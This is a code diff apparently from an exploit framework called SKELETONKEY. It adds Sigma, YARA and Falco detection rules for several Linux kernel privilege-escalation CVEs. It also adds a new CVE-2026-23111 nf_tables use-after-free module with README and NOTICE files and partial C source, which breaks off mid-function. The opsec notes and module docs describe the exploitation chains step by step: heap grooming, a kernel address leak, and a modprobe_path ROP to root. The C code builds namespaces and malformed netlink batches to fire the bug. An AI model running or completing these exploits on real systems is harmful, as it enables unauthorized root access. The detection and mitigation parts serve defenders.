||||
static const char mutagen_sigma[] =
|
||||
"title: Possible CVE-2018-14634 Mutagen Astronomy SUID-execve LPE\n"
|
||||
"id: 5f9e1c20-skeletonkey-mutagen\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical Mutagen Astronomy primitive: setrlimit\n"
|
||||
" raising RLIMIT_STACK followed by execve of a setuid-root\n"
|
||||
" binary with abnormally large argv/envp. Pre-fix Linux\n"
|
||||
" 2.6/3.10/4.14 kernels with x86_64 are affected.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" setrlimit: {type: 'SYSCALL', syscall: 'setrlimit'}\n"
|
||||
" execve_suid: {type: 'SYSCALL', syscall: 'execve'}\n"
|
||||
" condition: setrlimit and execve_suid\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2018.14634]\n";
|
||||
|
||||
static const char mutagen_yara[] =
|
||||
"rule mutagen_astronomy_cve_2018_14634 : cve_2018_14634 elf_stack_overflow {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2018-14634\"\n"
|
||||
" description = \"Qualys Mutagen Astronomy primitive — RLIMIT_STACK + huge argv\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"mutagen-astronomy\" ascii\n"
|
||||
" $qualys = \"qualys\" ascii nocase\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char mutagen_falco[] =
|
||||
"- rule: setrlimit(STACK)+execve of SUID with huge argv (Mutagen Astronomy)\n"
|
||||
" desc: |\n"
|
||||
" Process raises RLIMIT_STACK then execve()s a setuid-root binary.\n"
|
||||
" The Mutagen Astronomy primitive (CVE-2018-14634) needs both. No\n"
|
||||
" legitimate program needs RLIMIT_STACK=unlimited before exec'ing\n"
|
||||
" su/pkexec.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = execve and not user.uid = 0 and\n"
|
||||
" (proc.exe in (/usr/bin/su, /bin/su, /usr/bin/pkexec, /usr/bin/passwd))\n"
|
||||
" output: >\n"
|
||||
" SUID execve with RLIMIT_STACK raised (user=%user.name\n"
|
||||
" pid=%proc.pid exe=%proc.exe)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2018.14634]\n";
|
||||
|
||||
const struct skeletonkey_module mutagen_astronomy_module = {
|
||||
.name = "mutagen_astronomy",
|
||||
.cve = "CVE-2018-14634",
|
||||
.summary = "create_elf_tables() int wrap → SUID-execve stack corruption (Qualys)",
|
||||
.family = "elf",
|
||||
.kernel_range = "Linux 2.6 / 3.10 / 4.14 < 4.14.71 / 4.x < 4.18.8 (x86_64)",
|
||||
.detect = mutagen_astronomy_detect,
|
||||
.exploit = mutagen_astronomy_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR set hard RLIMIT_STACK limit */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = mutagen_auditd,
|
||||
.detect_sigma = mutagen_sigma,
|
||||
.detect_yara = mutagen_yara,
|
||||
.detect_falco = mutagen_falco,
|
||||
.opsec_notes = "Raises RLIMIT_STACK to unlimited via setrlimit(2), then execve()s a setuid-root binary (typically /usr/bin/su or /usr/bin/pkexec) with a multi-gigabyte argv/envp blob (≥4 GiB on x86_64). The int wrap in create_elf_tables() causes the kernel to under-allocate the new process's stack region; the subsequent memcpy of argv bytes corrupts adjacent kernel allocations. Observable as a SIGSEGV in the carrier on every attempt regardless of success. Audit-visible via setrlimit(RLIMIT_STACK) immediately followed by execve of /usr/bin/su or /usr/bin/pkexec with abnormally large argv. No persistent file artifacts. CISA KEV-listed Jan 2026 despite the bug's age — legacy/EOL fleets still running RHEL 7 / CentOS 7 / Debian 8 remain at risk.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_mutagen_astronomy(void)
|
||||
{
|
||||
skeletonkey_register(&mutagen_astronomy_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||
#define MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module mutagen_astronomy_module;
|
||||
#endif
|
||||
@@ -103,7 +103,7 @@ static const struct kernel_patched_from netfilter_xtcompat_patched_branches[] =
|
||||
{4, 14, 240},
|
||||
{4, 19, 198},
|
||||
{5, 4, 128},
|
||||
{5, 10, 46},
|
||||
{5, 10, 38}, /* Debian tracker: earlier than 5.10.46 */
|
||||
{5, 11, 20},
|
||||
{5, 12, 13},
|
||||
{5, 13, 0}, /* mainline (5.13 carries b29c457a6511) */
|
||||
@@ -960,6 +960,55 @@ static const char netfilter_xtcompat_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
|
||||
|
||||
static const char netfilter_xtcompat_sigma[] =
|
||||
"title: Possible CVE-2021-22555 xt_compat OOB write\n"
|
||||
"id: e67f90d5-skeletonkey-xtcompat\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects setsockopt(SOL_IP, IPT_SO_SET_REPLACE) from a non-root\n"
|
||||
" process inside unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by\n"
|
||||
" msg_msg grooming (msgsnd/msgrcv) and sendmmsg sk_buff spray.\n"
|
||||
" False positives: iptables config inside rootless containers /\n"
|
||||
" network namespaces. Correlate with privilege escalation\n"
|
||||
" (setresuid 0,0,0) to confirm.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" sso: {type: 'SYSCALL', syscall: 'setsockopt', a1: 0}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and sso and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.22555]\n";
|
||||
|
||||
static const char netfilter_xtcompat_yara[] =
|
||||
"rule netfilter_xtcompat_cve_2021_22555 : cve_2021_22555 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-22555\"\n"
|
||||
" description = \"xt_compat 4-byte OOB write log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-xtcompat.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char netfilter_xtcompat_falco[] =
|
||||
"- rule: setsockopt IPT_SO_SET_REPLACE by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root process calls setsockopt(SOL_IP, IPT_SO_SET_REPLACE)\n"
|
||||
" from inside a userns with CAP_NET_ADMIN. The xt_compat\n"
|
||||
" target_to_user() handler writes past the xt_table_info\n"
|
||||
" allocation; CVE-2021-22555. False positives: iptables\n"
|
||||
" config in rootless containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" setsockopt SOL_IP by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2021.22555]\n";
|
||||
|
||||
const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.name = "netfilter_xtcompat",
|
||||
.cve = "CVE-2021-22555",
|
||||
@@ -971,9 +1020,11 @@ const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; disable unprivileged_userns_clone */
|
||||
.cleanup = netfilter_xtcompat_cleanup,
|
||||
.detect_auditd = netfilter_xtcompat_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = netfilter_xtcompat_sigma,
|
||||
.detect_yara = netfilter_xtcompat_yara,
|
||||
.detect_falco = netfilter_xtcompat_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + setsockopt(SOL_IP, IPT_SO_SET_REPLACE) with a malformed xt_entry_target to trigger xt_compat_target_to_user 4-byte OOB into kmalloc-2k. msg_msg + sk_buff cross-cache groom. Writes /tmp/skeletonkey-xtcompat.log (breadcrumb). Audit-visible via unshare + setsockopt(IPT_SO_SET_REPLACE) + msgsnd/msgrcv + sendmmsg(sk_buff spray). Dmesg silent on success; KASAN oops if the groom misses. Cleanup callback unlinks the log; IPC auto-drains on namespace exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_netfilter_xtcompat(void)
|
||||
|
||||
@@ -88,6 +88,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table
|
||||
@@ -95,7 +96,7 @@
|
||||
|
||||
static const struct kernel_patched_from nf_tables_patched_branches[] = {
|
||||
{5, 4, 269}, /* 5.4.x */
|
||||
{5, 10, 210}, /* 5.10.x */
|
||||
{5, 10, 209}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 149}, /* 5.15.x */
|
||||
{6, 1, 74}, /* 6.1.x */
|
||||
{6, 6, 13}, /* 6.6.x */
|
||||
@@ -1123,6 +1124,35 @@ static const char nf_tables_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
||||
|
||||
static const char nf_tables_yara[] =
|
||||
"rule nf_tables_cve_2024_1086 : cve_2024_1086 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-1086\"\n"
|
||||
" description = \"nf_tables verdict-init UAF breadcrumb log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char nf_tables_falco[] =
|
||||
"- rule: nf_tables verdict-init UAF batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root sendmsg on NETLINK_NETFILTER inside a userns,\n"
|
||||
" delivering an nfnetlink batch with NEWTABLE + NEWCHAIN +\n"
|
||||
" NEWSET (verdict-key) + NEWSETELEM with malformed NFT_GOTO\n"
|
||||
" committed twice. CVE-2024-1086 nft_verdict_init double-free.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.1086]\n";
|
||||
|
||||
const struct skeletonkey_module nf_tables_module = {
|
||||
.name = "nf_tables",
|
||||
.cve = "CVE-2024-1086",
|
||||
@@ -1135,8 +1165,10 @@ const struct skeletonkey_module nf_tables_module = {
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = nf_tables_auditd,
|
||||
.detect_sigma = nf_tables_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nf_tables_yara,
|
||||
.detect_falco = nf_tables_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO) committed twice to trigger the nft_verdict_init double-free. msg_msg cg-96 groom with forged pipapo_elem headers; --full-chain sprays kaddr-tagged forged elems and re-fires. Writes /tmp/skeletonkey-nft_set_uaf.log (conditional). Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches + msgget/msgsnd. Dmesg: KASAN double-free panic on vulnerable kernels; silent otherwise. Cleanup is finisher-gated; no persistent files on success.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nf_tables(void)
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
# nft_catchall — CVE-2026-23111
|
||||
|
||||
An nf_tables use-after-free reachable from an unprivileged user: an
|
||||
inverted condition in `nft_map_catchall_activate()` mishandles catch-all
|
||||
map elements on transaction abort, freeing a chain that a catch-all GOTO
|
||||
verdict still references.
|
||||
|
||||
## The bug
|
||||
|
||||
nftables *maps* can hold a **catch-all** element — a default that matches
|
||||
when no other element does — and in a verdict map that element carries a
|
||||
GOTO/JUMP to a chain. `nft_map_catchall_activate()` runs during the
|
||||
**abort** phase of a netlink transaction to re-activate elements that a
|
||||
rolled-back batch had touched. A single inverted `!` makes it operate on
|
||||
*active* catch-all elements instead of skipping them, so the referenced
|
||||
chain's use-count is driven to zero; a subsequent `DELCHAIN` frees the
|
||||
chain while the catch-all verdict still points at it → **use-after-free**.
|
||||
|
||||
Chaining a kernel-address leak, arbitrary R/W, and a ROP over
|
||||
`modprobe_path` / `selinux_state` turns the UAF into root — all reachable
|
||||
by an unprivileged user who has `CONFIG_USER_NS` to gain `CAP_NET_ADMIN`
|
||||
over a private network namespace.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Vulnerable path introduced | ~5.13 (catch-all set elements) |
|
||||
| Fixed upstream | commit `f41c5d1…` (remove the inverted `!`) |
|
||||
| Debian backports | 6.1.164 (bookworm) · 6.12.73 (trixie) · 6.18.10 (forky·sid) |
|
||||
| Table thresholds | 6.1.164 · 6.12.73 · 6.18.10 (≤ Debian → drift-clean) |
|
||||
| NVD class | CWE-416 (Use After Free), CVSS 7.8 |
|
||||
| CISA KEV | no |
|
||||
|
||||
The 5.10 (bullseye) branch is still unfixed at time of writing →
|
||||
version-only VULNERABLE there.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` returns `OK` below ~5.13 or for patched kernels, `PRECOND_FAIL`
|
||||
when the kernel is vulnerable but unprivileged user-namespace clone is
|
||||
denied (exploit unreachable), and `VULNERABLE` when the version is in
|
||||
range and userns is allowed.
|
||||
|
||||
`exploit()` forks an isolated child that enters `unshare(USER|NET)`, opens
|
||||
`NETLINK_NETFILTER`, builds a verdict map with a catch-all GOTO element,
|
||||
and sends an aborting batch to drive the abort-path UAF; it observes
|
||||
`nft_chain` / `kmalloc-cg-256` slabinfo and returns `EXPLOIT_FAIL`
|
||||
(primitive-only). The full leak + R/W + ROP root-pop is **not** bundled,
|
||||
and the trigger is reconstructed from public analysis, not VM-verified.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a host hardening stopgap, deny unprivileged
|
||||
user-namespace clone (`sysctl kernel.unprivileged_userns_clone=0`, or the
|
||||
AppArmor `apparmor_restrict_unprivileged_userns` toggle) — that closes the
|
||||
unprivileged path even on a kernel-vulnerable host.
|
||||
|
||||
## Credit
|
||||
|
||||
Upstream fix `f41c5d1…`; public reproduction by FuzzingLabs. See
|
||||
`NOTICE.md`.
|
||||
@@ -0,0 +1,62 @@
|
||||
# NOTICE — nft_catchall (CVE-2026-23111)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-23111** — a **use-after-free** in the Linux kernel `nf_tables`
|
||||
(netfilter) transaction-abort path. `nft_map_catchall_activate()` carries
|
||||
an **inverted condition** (a stray `!`): during a transaction *abort* it
|
||||
processes *active* catch-all set elements instead of skipping them. A
|
||||
catch-all element in an nftables **map** holds a verdict (GOTO/JUMP)
|
||||
referencing a chain; the wrong (de)activation drives the chain's
|
||||
use-count to zero, so a following `DELCHAIN` frees the chain while the
|
||||
catch-all verdict element still references it → UAF.
|
||||
|
||||
From an **unprivileged** local user — via **user namespaces + nftables**
|
||||
(needs `CONFIG_USER_NS` + `CONFIG_NF_TABLES`) — the UAF is escalatable to
|
||||
root: leak a kernel address, obtain arbitrary R/W, ROP over
|
||||
`modprobe_path` / `selinux_state`.
|
||||
|
||||
NVD class: **CWE-416** (Use After Free). CVSS v3.1 **7.8 HIGH**
|
||||
(`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`). Affects current distros (Debian
|
||||
bookworm/trixie, Ubuntu 22.04/24.04). **Not** in CISA KEV.
|
||||
|
||||
The fix removed a single character (the inverted `!`).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Fixed upstream** by commit
|
||||
`f41c5d151078c5348271ffaf8e7410d96f2d82f8` ("netfilter: nf_tables: fix
|
||||
… catch-all … activate"); reported and fixed through the Linux kernel
|
||||
security process (NVD lists the source as `kernel.org`; no public
|
||||
individual reporter name in the advisory).
|
||||
- **Public reproduction + analysis** by **FuzzingLabs** —
|
||||
<https://fuzzinglabs.com/repro-cve-2026-23111/> — which the module's
|
||||
trigger reconstruction is informed by.
|
||||
- Debian security tracker (authoritative backport versions):
|
||||
<https://security-tracker.debian.org/tracker/CVE-2026-23111> —
|
||||
bookworm 6.1.164 / trixie 6.12.73 / forky·sid 6.18.10 (bullseye/5.10
|
||||
still unfixed at time of writing).
|
||||
|
||||
All credit for finding and analysing this bug belongs to the upstream
|
||||
reporter and to FuzzingLabs for the public write-up. SKELETONKEY is the
|
||||
bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
|
||||
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …), shipped on the same
|
||||
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
|
||||
fires the bug class and stops.
|
||||
|
||||
`detect()` version-gates against the Debian backports above (upstream
|
||||
thresholds 6.1.164 / 6.12.73 / 6.18.10; catch-all set elements arrived in
|
||||
~5.13, so older kernels lack the path) **and** requires unprivileged
|
||||
user-namespace clone — a vulnerable kernel with userns locked down is
|
||||
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
|
||||
element and provokes an aborting batch transaction to drive the
|
||||
abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The
|
||||
per-kernel leak + arbitrary-R/W + `modprobe_path` ROP that lands a root
|
||||
shell is **not** bundled (per-build offsets refused), and the trigger is
|
||||
reconstructed from the public analysis rather than VM-verified — it never
|
||||
claims root it did not get.
|
||||
@@ -0,0 +1,589 @@
|
||||
/*
|
||||
* nft_catchall_cve_2026_23111 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-23111 — a use-after-free in the Linux kernel's nf_tables
|
||||
* (netfilter) transaction-abort path. `nft_map_catchall_activate()`
|
||||
* carries an inverted condition (a stray `!`): on transaction abort it
|
||||
* processes *active* catch-all set elements instead of skipping them.
|
||||
* A catch-all element in an nftables *map* holds a verdict (GOTO/JUMP)
|
||||
* that references a chain; the wrong (de)activation lets the chain's
|
||||
* use-count reach zero so a following DELCHAIN frees it while the
|
||||
* catch-all verdict element still points at it → UAF. From an
|
||||
* unprivileged user (via user namespaces + nftables) this is escalatable
|
||||
* to root: leak a kernel address, win arbitrary R/W, ROP over
|
||||
* modprobe_path / selinux_state.
|
||||
*
|
||||
* CWE-416 (Use After Free). CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/C:H/I:H/A:H).
|
||||
* Fixed upstream by commit f41c5d151078c5348271ffaf8e7410d96f2d82f8
|
||||
* ("remove one exclamation mark"). Public reproduction + analysis by
|
||||
* FuzzingLabs. NOT in CISA KEV.
|
||||
*
|
||||
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
|
||||
* This is one more UAF in the most-covered subsystem in the corpus
|
||||
* (see nf_tables / nft_set_uaf / nft_payload / nft_pipapo / ...), and
|
||||
* like nf_tables (CVE-2024-1086) it is shipped as a fork-isolated
|
||||
* trigger that fires the bug class and STOPS. detect() version-gates
|
||||
* against the Debian-tracked backports below and additionally requires
|
||||
* unprivileged user-namespace clone (the bug is unreachable to an
|
||||
* unprivileged user without it). exploit() builds a map with a
|
||||
* catch-all GOTO element and provokes a failed (aborting) batch
|
||||
* transaction to drive the abort-path UAF, observes slabinfo, and
|
||||
* returns EXPLOIT_FAIL — the per-kernel leak + arbitrary-R/W + ROP that
|
||||
* lands a root shell is NOT bundled (per-build offsets refused), and
|
||||
* the trigger itself is reconstructed from the public analysis rather
|
||||
* than VM-verified. It never claims root it did not get.
|
||||
*
|
||||
* Affected range (Debian-tracked stable backports of the fix):
|
||||
* 6.1.x : K >= 6.1.164 (bookworm)
|
||||
* 6.12.x : K >= 6.12.73 (trixie)
|
||||
* 6.18.x : K >= 6.18.10 (forky / sid); 7.0+ inherits the fix
|
||||
* The 5.10 (bullseye) branch is still unfixed as of writing → version-
|
||||
* only VULNERABLE. Catch-all set elements were added in ~5.13, so the
|
||||
* vulnerable nft_map_catchall_activate path does not exist below that.
|
||||
*
|
||||
* Preconditions: CONFIG_NF_TABLES + CONFIG_USER_NS, and unprivileged
|
||||
* user-namespace clone permitted (modern Ubuntu's
|
||||
* apparmor_restrict_unprivileged_userns / a 0 sysctl closes this).
|
||||
*
|
||||
* arch_support: x86_64 (the groom + any future finisher are x86_64-tuned).
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/netlink.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
|
||||
|
||||
/* Catch-all set-element flag — may be absent from older uapi headers. */
|
||||
#ifndef NFT_SET_ELEM_CATCHALL
|
||||
#define NFT_SET_ELEM_CATCHALL 0x2
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table. Upstream-stable thresholds (<= the Debian
|
||||
* package fixes, so the drift checker reports INFO, never TOO_TIGHT).
|
||||
* security-tracker.debian.org is the source of record.
|
||||
* ------------------------------------------------------------------ */
|
||||
static const struct kernel_patched_from nft_catchall_patched_branches[] = {
|
||||
{6, 1, 164}, /* 6.1.x (Debian bookworm fixed_version 6.1.164) */
|
||||
{6, 12, 73}, /* 6.12.x (Debian trixie fixed_version 6.12.73) */
|
||||
{6, 18, 10}, /* 6.18.x (Debian forky / sid fixed_version 6.18.10) */
|
||||
/* 7.0+ inherits "patched" via the strictly-newer-than-all-entries
|
||||
* rule — the fix predates the 7.0 branch. */
|
||||
};
|
||||
|
||||
static const struct kernel_range nft_catchall_range = {
|
||||
.patched_from = nft_catchall_patched_branches,
|
||||
.n_patched_from = sizeof(nft_catchall_patched_branches) /
|
||||
sizeof(nft_catchall_patched_branches[0]),
|
||||
};
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
if (!f) return false;
|
||||
char line[512];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; }
|
||||
}
|
||||
fclose(f);
|
||||
return found;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nft_catchall: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Catch-all set elements (and nft_map_catchall_activate) arrived in
|
||||
* ~5.13. Below that the vulnerable path does not exist. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_catchall: kernel %s predates catch-all set "
|
||||
"elements (~5.13) — vulnerable path absent\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&nft_catchall_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] nft_catchall: kernel %s is patched\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_catchall: kernel %s in vulnerable range\n",
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_catchall: unprivileged user_ns clone: %s\n",
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_catchall: nf_tables module loaded: %s\n",
|
||||
nf_tables_loaded() ? "yes" : "no (autoloads on first nft use)");
|
||||
}
|
||||
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_catchall: kernel vulnerable but unprivileged "
|
||||
"user_ns clone denied → unprivileged exploit "
|
||||
"unreachable\n");
|
||||
fprintf(stderr, "[i] nft_catchall: still patch — a privileged "
|
||||
"attacker can trigger the abort-path UAF\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nft_catchall: VULNERABLE — kernel in range AND "
|
||||
"unprivileged user_ns clone allowed\n");
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* userns+netns entry: gain CAP_NET_ADMIN over a private netns so the
|
||||
* malformed ruleset only touches our own namespace.
|
||||
* ------------------------------------------------------------------ */
|
||||
static int enter_unpriv_namespaces(void)
|
||||
{
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
perror("[-] unshare(USER|NET)");
|
||||
return -1;
|
||||
}
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", uid);
|
||||
f = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, map, strlen(map)) < 0) {
|
||||
perror("[-] uid_map"); if (f >= 0) close(f); return -1;
|
||||
}
|
||||
close(f);
|
||||
snprintf(map, sizeof map, "0 %u 1\n", gid);
|
||||
f = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, map, strlen(map)) < 0) {
|
||||
perror("[-] gid_map"); if (f >= 0) close(f); return -1;
|
||||
}
|
||||
close(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Minimal dep-free nfnetlink batch builder (same approach as the
|
||||
* nf_tables module — libnftnl validates our malformed input away).
|
||||
* ------------------------------------------------------------------ */
|
||||
#define ALIGN_NL(x) (((x) + 3) & ~3)
|
||||
|
||||
static void put_attr(uint8_t *buf, size_t *off, uint16_t type,
|
||||
const void *data, size_t len)
|
||||
{
|
||||
struct nlattr *na = (struct nlattr *)(buf + *off);
|
||||
na->nla_type = type;
|
||||
na->nla_len = NLA_HDRLEN + len;
|
||||
if (len) memcpy(buf + *off + NLA_HDRLEN, data, len);
|
||||
*off += ALIGN_NL(NLA_HDRLEN + len);
|
||||
}
|
||||
static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v)
|
||||
{
|
||||
uint32_t be = htonl(v);
|
||||
put_attr(buf, off, type, &be, sizeof be);
|
||||
}
|
||||
static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s)
|
||||
{
|
||||
put_attr(buf, off, type, s, strlen(s) + 1);
|
||||
}
|
||||
static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type)
|
||||
{
|
||||
size_t at = *off;
|
||||
struct nlattr *na = (struct nlattr *)(buf + at);
|
||||
na->nla_type = type | NLA_F_NESTED;
|
||||
na->nla_len = 0;
|
||||
*off += NLA_HDRLEN;
|
||||
return at;
|
||||
}
|
||||
static void end_nest(uint8_t *buf, size_t *off, size_t at)
|
||||
{
|
||||
struct nlattr *na = (struct nlattr *)(buf + at);
|
||||
na->nla_len = (uint16_t)(*off - at);
|
||||
while ((*off) & 3) buf[(*off)++] = 0;
|
||||
}
|
||||
|
||||
struct nfgenmsg_local { uint8_t nfgen_family; uint8_t version; uint16_t res_id; };
|
||||
|
||||
static void put_nft_msg(uint8_t *buf, size_t *off, uint16_t nft_type,
|
||||
uint16_t flags, uint32_t seq, uint8_t family)
|
||||
{
|
||||
